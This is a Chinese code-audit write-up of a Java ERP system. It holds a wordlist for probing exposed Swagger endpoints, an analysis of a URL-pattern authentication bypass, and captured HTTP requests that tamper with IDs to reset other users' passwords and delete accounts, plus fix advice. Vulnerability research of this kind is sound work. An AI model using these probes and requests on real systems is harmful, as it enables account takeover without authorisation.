/libs/swaggerui/
/spring-security-oauth-resource/swagger-ui.html
/spring-security-rest/api/swagger-ui.html
/sw/swagger-ui.html
/swagger
/swagger-resources
/swagger-resources/configuration/security
/swagger-resources/configuration/security/
/swagger-resources/configuration/ui
/swagger-resources/configuration/ui/
/swagger-ui
/swagger-ui.html
/swagger-ui.html#/api-memory-controller
/swagger-ui.html/
/swagger-ui.json
/swagger-ui/swagger.json
/swagger.json
/swagger.yml
/swagger/
/swagger/index.html
/swagger/static/index.html
/swagger/swagger-ui.html
/swagger/ui/
/Swagger/ui/index
/swagger/ui/index
/swagger/v1/swagger.json
/swagger/v2/swagger.json
/template/swagger-ui.html
/user/swagger-ui.html
/user/swagger-ui.html/
/v1.x/swagger-ui.html
/v1/api-docs
/v1/swagger.json
/v2/api-docs
/v3/api-docs
分析

swagger配置类:Swagger2Config.java

@Configuration
@EnableSwagger2
public class Swagger2Config {

    @Bean
    public Docket createRestApi() {
        return new Docket(DocumentationType.SWAGGER_2)
                .apiInfo(this.apiInfo())
                .select()
                .apis(RequestHandlerSelectors.any())
                .paths(PathSelectors.any())
                .build();
    }

    private ApiInfo apiInfo() {
        return new ApiInfoBuilder()
                .title("Mybatis-Plus Plugin Example RESTful APIs")
                .description("集成Mybatis-Plus模块接口描述")
                .termsOfServiceUrl("http://127.0.0.1")
                .contact(new Contact("jishenghua", "", ""))
                .version("2.1.1")
                .build();
    }

}

在该类及配置文件中未进行任何的限制及访问控制和身份验证,另外在filter中也未进行身份判断,因此导致在未登录的情况下能够请求得到api接口

测试

修复
  1. 限制生成文档的请求处理程序:使用适当的 RequestHandlerSelectors 来选择只包含需要公开的接口,而不是使用 RequestHandlerSelectors.any()
  2. 限制生成文档的路径:使用适当的 PathSelectors 来选择只包含需要公开的路径,而不是使用 PathSelectors.any()
  3. 添加访问控制和身份验证:确保只有授权用户能够访问 Swagger API 文档。这可以通过配置身份验证和授权机制来实现,例如基于角色或令牌的访问控制。
  4. 定期审查和更新配置:定期审查 Swagger API 文档的配置,确保其与应用程序的安全需求保持一致,并经常更新以反映最新的安全要求。

账号密码泄露

分析

在LogCostFilter.java中进行了简单分析,有3个条件只需要满足其中一个即可不需要登录就能够访问

  • 请求url中包含/doc.html、/register.html、/login.html
  • 请求url中包含[.css,.js,.jpg,.png,.gif,.ico]中任意一个元素即可
  • 请求url以/user/login、/user/registerUser、/v2/api-docs开头即可

因此选择上面的任意一个条件利用即可

测试

越权漏洞

重置密码

分析

根据路径找到对应的路由

@PostMapping(value = "/resetPwd")
public String resetPwd(@RequestParam("id") Long id,
                       HttpServletRequest request) throws Exception {
    Map<String, Object> objectMap = new HashMap<String, Object>();
    // 初始密码
    String password = "123456";
    String md5Pwd = Tools.md5Encryp(password);
    // 重置操作
    int update = userService.resetPwd(md5Pwd, id);
    if(update > 0) {
        return returnJson(objectMap, message, ErpInfo.OK.code);
    } else {
        return returnJson(objectMap, message, ErpInfo.ERROR.code);
    }
}

对应userService的resetPwd方法

@Transactional(value = "transactionManager", rollbackFor = Exception.class)
public int resetPwd(String md5Pwd, Long id) throws Exception{
    int result=0;
    logService.insertLog("用户",
                         new StringBuffer(BusinessConstants.LOG_OPERATION_TYPE_EDIT).append(id).toString(),
                         ((ServletRequestAttributes) RequestContextHolder.getRequestAttributes()).getRequest());
    // 根据id获取用户
    User u = getUser(id);
    String loginName = u.getLoginName();
    // 判断需要重置的是否是admin用户
    if("admin".equals(loginName)){
        logger.info("禁止重置超管密码");
    } else {
        User user = new User();
        user.setId(id);
        user.setPassword(md5Pwd);
        try{
            // 重置操作
            result=userMapper.updateByPrimaryKeySelective(user);
        }catch(Exception e){
            JshException.writeFail(logger, e);
        }
    }
    return result;
}

这里没有将当前登陆的用户与需要修改的用户进行比对,找到对应的修改SQL语句

<update id="updateByPrimaryKeySelective" parameterType="com.jsh.erp.datasource.entities.User">
    update jsh_user
    <set>
        <if test="username != null">
            username = #{username,jdbcType=VARCHAR},
        </if>
        <if test="loginName != null">
            login_name = #{loginName,jdbcType=VARCHAR},
        </if>
        <if test="password != null">
            password = #{password,jdbcType=VARCHAR},
        </if>
        <if test="position != null">
            position = #{position,jdbcType=VARCHAR},
        </if>
        <if test="department != null">
            department = #{department,jdbcType=VARCHAR},
        </if>
        <if test="email != null">
            email = #{email,jdbcType=VARCHAR},
        </if>
        <if test="phonenum != null">
            phonenum = #{phonenum,jdbcType=VARCHAR},
        </if>
        <if test="ismanager != null">
            ismanager = #{ismanager,jdbcType=TINYINT},
        </if>
        <if test="isystem != null">
            isystem = #{isystem,jdbcType=TINYINT},
        </if>
        <if test="status != null">
            Status = #{status,jdbcType=TINYINT},
        </if>
        <if test="description != null">
            description = #{description,jdbcType=VARCHAR},
        </if>
        <if test="remark != null">
            remark = #{remark,jdbcType=VARCHAR},
        </if>
        <if test="tenantId != null">
            tenant_id = #{tenantId,jdbcType=BIGINT},
        </if>
    </set>
    where id = #{id,jdbcType=BIGINT}
</update>

where条件中只根据id查询

测试

用户原始密码

现在登陆jsh用户,尝试重置test123用户密码

抓包

POST /user/resetPwd HTTP/1.1
Host: 127.0.0.1:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:98.0) Gecko/20100101 Firefox/98.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 5
Origin: http://127.0.0.1:8080
Connection: close
Referer: http://127.0.0.1:8080/pages/manage/user.html
Cookie: Hm_lvt_1cd9bcbaae133f03a6eb19da6579aaba=1706618997,1706707611,1706717491; JSESSIONID=30DAE0DC23EE5303A1CFE03DD4394A2F; Hm_lpvt_1cd9bcbaae133f03a6eb19da6579aaba=1706781674
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin

id=63

这里只传递了userId,尝试对userId进行修改再发送请求

请求成功,查看数据库中数据

成功将test123用户的密码进行重置,sql语句如下:

UPDATE jsh_user SET password = 'e10adc3949ba59abbe56e057f20f883e' WHERE jsh_user.tenant_id = 63 AND id = 131

根据前面的代码逻辑,admin账号无法重置,其他账号权限低无法重置权限高的账户,此漏洞可与前面密码泄露结合利用

删除用户

分析

找到对应的controller

@PostMapping("/deleteUser")
@ResponseBody
public Object deleteUser(@RequestParam("ids") String ids)throws Exception{
    JSONObject result = ExceptionConstants.standardSuccess();
    // 这里
    userService.batDeleteUser(ids);
    return result;
}

进入service层

@Transactional(value = "transactionManager", rollbackFor = Exception.class)
public void batDeleteUser(String ids) throws Exception{
    StringBuffer sb = new StringBuffer();
    sb.append(BusinessConstants.LOG_OPERATION_TYPE_DELETE);
    List<User> list = getUserListByIds(ids);
    for(User user: list){
        sb.append("[").append(user.getLoginName()).append("]");
    }
    logService.insertLog("用户", sb.toString(),
                         ((ServletRequestAttributes) RequestContextHolder.getRequestAttributes()).getRequest());
    String idsArray[]=ids.split(",");
    int result =0;
    try{
        // 这里
        result=userMapperEx.batDeleteOrUpdateUser(idsArray,BusinessConstants.USER_STATUS_DELETE);
    }catch(Exception e){
        JshException.writeFail(logger, e);
    }
    if(result<1){
        logger.error("异常码[{}],异常提示[{}],参数,ids:[{}]",
                     ExceptionConstants.USER_DELETE_FAILED_CODE,ExceptionConstants.USER_DELETE_FAILED_MSG,ids);
        throw new BusinessRunTimeException(ExceptionConstants.USER_DELETE_FAILED_CODE,
                                           ExceptionConstants.USER_DELETE_FAILED_MSG);
    }
}

完全没有根据当前用户的权限来决定是否有资格删除相关用户

sql查询语句:

<update id="batDeleteOrUpdateUser">
    update jsh_user
    set status=#{status}
    where id in (
    <foreach collection="ids" item="id" separator=",">
        #{id}
    </foreach>
    )
</update>
测试

数据库原始数据

登陆jsh账户,选择一个用户进行删除

抓包

POST /user/deleteUser HTTP/1.1
Host: 127.0.0.1:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:98.0) Gecko/20100101 Firefox/98.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 7
Origin: http://127.0.0.1:8080
Connection: close
Referer: http://127.0.0.1:8080/pages/manage/user.html
Cookie: Hm_lvt_1cd9bcbaae133f03a6eb19da6579aaba=1706618997,1706707611,1706717491; JSESSIONID=67A20DB5D3DCEF7277316B22B9D579C3; Hm_lpvt_1cd9bcbaae133f03a6eb19da6579aaba=1706790058
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin

ids=135

利用前面的未授权漏洞,修改请求,删除132账户

删除成功,此时数据库中的数据

相关的sql语句

UPDATE jsh_user SET status = 1 WHERE id IN ('132')

另外,在不使用未授权漏洞进行删除时,sql语句中存在对tenant_id字段的判断,如下sql语句

UPDATE jsh_user SET status = 1 WHERE jsh_user.tenant_id = 63 AND id IN ('132')

总结

后续通过学习codeql来提高审计效率,漏洞寻找过程并不困难,写出来需要花费时间,文章写的匆忙,代码中关键处含有注释,若有错误,请批评指正!

点击收藏 | 5关注 | 1打赏

版权声明:本文为博主原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。
本文链接:https://blog.csdn.net/2401_83477555/article/details/136648543

智能推荐

攻防世界_难度8_happy_puzzle_攻防世界困难模式攻略图文-程序员宅基地

文章浏览阅读645次。这个肯定是末尾的IDAT了,因为IDAT必须要满了才会开始一下个IDAT,这个明显就是末尾的IDAT了。,对应下面的create_head()代码。,对应下面的create_tail()代码。不要考虑爆破,我已经试了一下,太多情况了。题目来源:UNCTF。_攻防世界困难模式攻略图文

达梦数据库的导出(备份)、导入_达梦数据库导入导出-程序员宅基地

文章浏览阅读2.9k次,点赞3次,收藏10次。偶尔会用到,记录、分享。1. 数据库导出1.1 切换到dmdba用户su - dmdba1.2 进入达梦数据库安装路径的bin目录,执行导库操作  导出语句:./dexp cwy_init/[email protected]:5236 file=cwy_init.dmp log=cwy_init_exp.log 注释:   cwy_init/init_123..._达梦数据库导入导出

js引入kindeditor富文本编辑器的使用_kindeditor.js-程序员宅基地

文章浏览阅读1.9k次。1. 在官网上下载KindEditor文件,可以删掉不需要要到的jsp,asp,asp.net和php文件夹。接着把文件夹放到项目文件目录下。2. 修改html文件,在页面引入js文件:<script type="text/javascript" src="./kindeditor/kindeditor-all.js"></script><script type="text/javascript" src="./kindeditor/lang/zh-CN.js"_kindeditor.js

STM32学习过程记录11——基于STM32G431CBU6硬件SPI+DMA的高效WS2812B控制方法-程序员宅基地

文章浏览阅读2.3k次,点赞6次,收藏14次。SPI的详情简介不必赘述。假设我们通过SPI发送0xAA,我们的数据线就会变为10101010,通过修改不同的内容,即可修改SPI中0和1的持续时间。比如0xF0即为前半周期为高电平,后半周期为低电平的状态。在SPI的通信模式中,CPHA配置会影响该实验,下图展示了不同采样位置的SPI时序图[1]。CPOL = 0,CPHA = 1:CLK空闲状态 = 低电平,数据在下降沿采样,并在上升沿移出CPOL = 0,CPHA = 0:CLK空闲状态 = 低电平,数据在上升沿采样,并在下降沿移出。_stm32g431cbu6

计算机网络-数据链路层_接收方收到链路层数据后,使用crc检验后,余数为0,说明链路层的传输时可靠传输-程序员宅基地

文章浏览阅读1.2k次,点赞2次,收藏8次。数据链路层习题自测问题1.数据链路(即逻辑链路)与链路(即物理链路)有何区别?“电路接通了”与”数据链路接通了”的区别何在?2.数据链路层中的链路控制包括哪些功能?试讨论数据链路层做成可靠的链路层有哪些优点和缺点。3.网络适配器的作用是什么?网络适配器工作在哪一层?4.数据链路层的三个基本问题(帧定界、透明传输和差错检测)为什么都必须加以解决?5.如果在数据链路层不进行帧定界,会发生什么问题?6.PPP协议的主要特点是什么?为什么PPP不使用帧的编号?PPP适用于什么情况?为什么PPP协议不_接收方收到链路层数据后,使用crc检验后,余数为0,说明链路层的传输时可靠传输

软件测试工程师移民加拿大_无证移民,未受过软件工程师的教育(第1部分)-程序员宅基地

文章浏览阅读587次。软件测试工程师移民加拿大 无证移民,未受过软件工程师的教育(第1部分) (Undocumented Immigrant With No Education to Software Engineer(Part 1))Before I start, I want you to please bear with me on the way I write, I have very little gen...

随便推点

Thinkpad X250 secure boot failed 启动失败问题解决_安装完系统提示secureboot failure-程序员宅基地

文章浏览阅读304次。Thinkpad X250笔记本电脑,装的是FreeBSD,进入BIOS修改虚拟化配置(其后可能是误设置了安全开机),保存退出后系统无法启动,显示:secure boot failed ,把自己惊出一身冷汗,因为这台笔记本刚好还没开始做备份.....根据错误提示,到bios里面去找相关配置,在Security里面找到了Secure Boot选项,发现果然被设置为Enabled,将其修改为Disabled ,再开机,终于正常启动了。_安装完系统提示secureboot failure

C++如何做字符串分割(5种方法)_c++ 字符串分割-程序员宅基地

文章浏览阅读10w+次,点赞93次,收藏352次。1、用strtok函数进行字符串分割原型: char *strtok(char *str, const char *delim);功能:分解字符串为一组字符串。参数说明:str为要分解的字符串,delim为分隔符字符串。返回值:从str开头开始的一个个被分割的串。当没有被分割的串时则返回NULL。其它:strtok函数线程不安全,可以使用strtok_r替代。示例://借助strtok实现split#include <string.h>#include <stdio.h&_c++ 字符串分割

2013第四届蓝桥杯 C/C++本科A组 真题答案解析_2013年第四届c a组蓝桥杯省赛真题解答-程序员宅基地

文章浏览阅读2.3k次。1 .高斯日记 大数学家高斯有个好习惯:无论如何都要记日记。他的日记有个与众不同的地方,他从不注明年月日,而是用一个整数代替,比如:4210后来人们知道,那个整数就是日期,它表示那一天是高斯出生后的第几天。这或许也是个好习惯,它时时刻刻提醒着主人:日子又过去一天,还有多少时光可以用于浪费呢?高斯出生于:1777年4月30日。在高斯发现的一个重要定理的日记_2013年第四届c a组蓝桥杯省赛真题解答

基于供需算法优化的核极限学习机(KELM)分类算法-程序员宅基地

文章浏览阅读851次,点赞17次,收藏22次。摘要:本文利用供需算法对核极限学习机(KELM)进行优化,并用于分类。

metasploitable2渗透测试_metasploitable2怎么进入-程序员宅基地

文章浏览阅读1.1k次。一、系统弱密码登录1、在kali上执行命令行telnet 192.168.26.1292、Login和password都输入msfadmin3、登录成功,进入系统4、测试如下:二、MySQL弱密码登录:1、在kali上执行mysql –h 192.168.26.129 –u root2、登录成功,进入MySQL系统3、测试效果:三、PostgreSQL弱密码登录1、在Kali上执行psql -h 192.168.26.129 –U post..._metasploitable2怎么进入

Python学习之路:从入门到精通的指南_python人工智能开发从入门到精通pdf-程序员宅基地

文章浏览阅读257次。本文将为初学者提供Python学习的详细指南,从Python的历史、基础语法和数据类型到面向对象编程、模块和库的使用。通过本文,您将能够掌握Python编程的核心概念,为今后的编程学习和实践打下坚实基础。_python人工智能开发从入门到精通pdf

推荐文章

热门文章

相关标签